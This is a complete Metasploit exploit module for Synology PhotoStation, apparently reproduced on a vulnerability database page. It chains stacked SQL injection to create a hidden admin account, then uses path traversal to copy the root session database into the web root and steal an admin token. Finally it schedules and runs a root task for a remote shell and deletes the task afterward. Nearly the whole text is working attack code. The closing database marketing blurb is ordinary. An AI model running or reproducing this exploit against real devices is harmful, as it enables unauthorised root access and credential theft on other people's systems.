##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Synology PhotoStation Multiple Vulnerabilities",
'Description' => %q{
This module exploits multiple vulnerabilities in Synology PhotoStation.
When combined these issues can be leveraged to gain a remote root shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Bercegay',
],
'References' =>
[
[ 'URL', 'http://gulftech.org/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2018-01-08',
'DefaultTarget' => 0))
register_options(
[
OptString.new('DSMPORT', [ true, "The default DSM port", '5000']),
])
end
def check
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; SELECT user; -- "
},
})
if res and res.body =~ /PhotoStation/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
rnum = rand(1000)
rstr = Rex::Text.rand_text_alpha(10)
uuid = rnum # User ID
upwd = rstr # User Password
uusr = rstr # User name
vol1 = '/volume1'
audb = '/usr/syno/etc/private/session/current.users'
###########################################################################
# STEP 00: Force PhotoStation to NOT use DSM for the authentication system
###########################################################################
print_status("Switching authentication system to PhotoStation via SQL Injection")
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; UPDATE photo_config SET config_value=0 WHERE config_key='account_system'; -- "
},
})
###########################################################################
# STEP 01: Create an admin user
###########################################################################
print_status("Creating admin user: #{uusr} => #{upwd}")
# Password hash
umd5 = Rex::Text.md5(upwd)
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; INSERT INTO photo_user (userid, username, password, admin) VALUES (#{uuid}, '#{uusr}', '#{umd5}', TRUE); -- "
},
})
###########################################################################
# STEP 02: Authenticate and store session identifier
###########################################################################
print_status("Authenticating as admin user: #{uusr}")
res = send_request_cgi(
{
'uri' => '/photo/webapi/auth.php',
'method' => 'POST',
'vars_post' =>
{
'api' =>'SYNO.PhotoStation.Auth',
'method' => 'login',
'version' =>'1',
'username' => uusr,
'password' => upwd,
'enable_syno_token' => 'TRUE',
},
})
if not res or not res.headers or not res.headers['Set-Cookie']
print_error("Unable to retrieve session identifier! Aborting ...")
return
end
uckv = res.headers['Set-Cookie']
psid = /PHPSESSID=([a-z0-9]+);/.match(uckv)[1]
print_status("Got PHP Session ID: #{psid}")
###########################################################################
# STEP 03: Delete any existing path names used from the database
###########################################################################
print_status("Making sure there are no duplicate path index conflicts ...")
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; DELETE FROM video WHERE path='#{audb}'; -- "
},
})
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; DELETE FROM video WHERE path='#{vol1}/photo///current.users'; -- "
},
})
###########################################################################
# STEP 04: Create a record for our malicious path in the database
###########################################################################
print_status("Creating video record with bad 'path' data via SQL injection")
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; INSERT INTO video (id, path, title, container_type) VALUES (#{rnum}, '#{audb}', '#{rstr}', '#{rstr}'); -- "
},
})
###########################################################################
# STEP 05: Copy session database as root, to the web directory for reading
###########################################################################
print_status("Making a copy of the session db as root via synophotoio")
res = send_request_cgi(
{
'uri' => '/photo/include/photo/album_util.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'copy_items',
'destination' => '2f',
'video_list' => rnum
},
'cookie' => uckv
})
###########################################################################
# STEP 06: Move the session db copy to the web root for retrieval
###########################################################################
print_status("Moving session db to webroot for retrieval")
res = send_request_cgi(
{
'uri' => '/photo/include/file_upload.php',
'method' => 'POST',
'vars_get' =>
{
# /../@appstore/PhotoStation/photo/
'dir' =>'2f2e2e2f4061707073746f72652f50686f746f53746174696f6e2f70686f746f2f',
'name' => "2f",
'fname' => "#{rstr}",
'sid' => "#{psid}",
'action' => 'aviary_add',
},
'vars_post' =>
{
'url' => 'file://' + vol1 + '/photo/current.users'
},
'cookie' => uckv
})
###########################################################################
# STEP 07: Retrieve and read the session db
###########################################################################
print_status("Attempting to read session db")
res = send_request_cgi(
{
'uri' => "/photo/#{rstr}.jpg",
'method' => 'GET'
})
if not res or not res.body
print_error("Unable to retrieve session file! Aborting ...")
return
end
host = /"host": "([^"]+)"/.match(res.body)[1]
sess = /"id": "([^"]+)"/.match(res.body)[1]
syno = /"synotoken": "([^"]+)"/.match(res.body)[1]
print_status("Extracted admin session: #{sess} @ #{host}")
###########################################################################
# STEP 08: Registering files for cleanup
###########################################################################
# Uncomment for cleanup functionality
# register_files_for_cleanup("#{vol1}/photo/current.users")
# register_files_for_cleanup("#{vol1}/@appstore/PhotoStation/photo/#{rstr}.jpg")
###########################################################################
# STEP 09: Create a task containing our payload
###########################################################################
print_status("Creating privileged task to run as root")
# Switch to DSM port from here on out
datastore['RPORT'] = datastore['DSMPORT']
res = send_request_cgi(
{
'uri' => '/webapi/entry.cgi',
'headers' =>
{
'X-SYNO-TOKEN' => syno,
'Client-IP' => host
},
'method' => 'POST',
'vars_post' =>
{
'name' => '"whatevs"',
'owner' => '"root"',
'enable' => 'true',
'schedule' =>'{"date_type":0,"week_day":"0,1,2,3,4,5,6","hour":0,"minute":0,"repeat_hour":0,"repeat_min":0,"last_work_hour":0,"repeat_min_store_config":[1,5,10,15,20,30],"repeat_hour_store_config":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23]}',
'extra' => '{"notify_enable":false,"script":"' + payload.encoded.gsub(/"/,'\"') + '","notify_mail":"","notify_if_error":false}',
'type' => '"script"',
'api' => 'SYNO.Core.TaskScheduler',
'method' => 'create',
'version' => '2',
},
'cookie' => "id=#{sess}"
})
if not res or not res.body
print_error("Unable to create task! Aborting ...")
return
end
task = /{"id"\d+)},"success":true}/.match(res.body)[1]
print_status("Task created successfully: ID => #{task}")
###########################################################################
# STEP 10: Execute the selected payload
###########################################################################
print_status("Running selected task as root. Get ready for shell!")
res = send_request_cgi(
{
'uri' => '/webapi/entry.cgi',
'headers' =>
{
'X-SYNO-TOKEN' => syno,
'Client-IP' => host
},
'method' => 'POST',
'vars_post' =>
{
'stop_when_error' => 'false',
'mode' => '"sequential"',
'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"run","version":1,"task":[' + task + ']}]',
'api' => 'SYNO.Entry.Request',
'method' => 'request',
'version' => '1'
},
'cookie' => "id=#{sess}"
})
###########################################################################
# STEP 11: Delete payload task from scheduler
###########################################################################
print_status("Deleting malicious task from task scheduler")
res = send_request_cgi(
{
'uri' => '/webapi/entry.cgi',
'headers' =>
{
'X-SYNO-TOKEN' => syno,
'Client-IP' => host
},
'method' => 'POST',
'vars_post' =>
{
'stop_when_error' => 'false',
'mode' => '"sequential"',
'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"delete","version":1,"task":[' + task + ']}]',
'api' => 'SYNO.Entry.Request',
'method' => 'request',
'version' => '1'
},
'cookie' => "id=#{sess}"
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation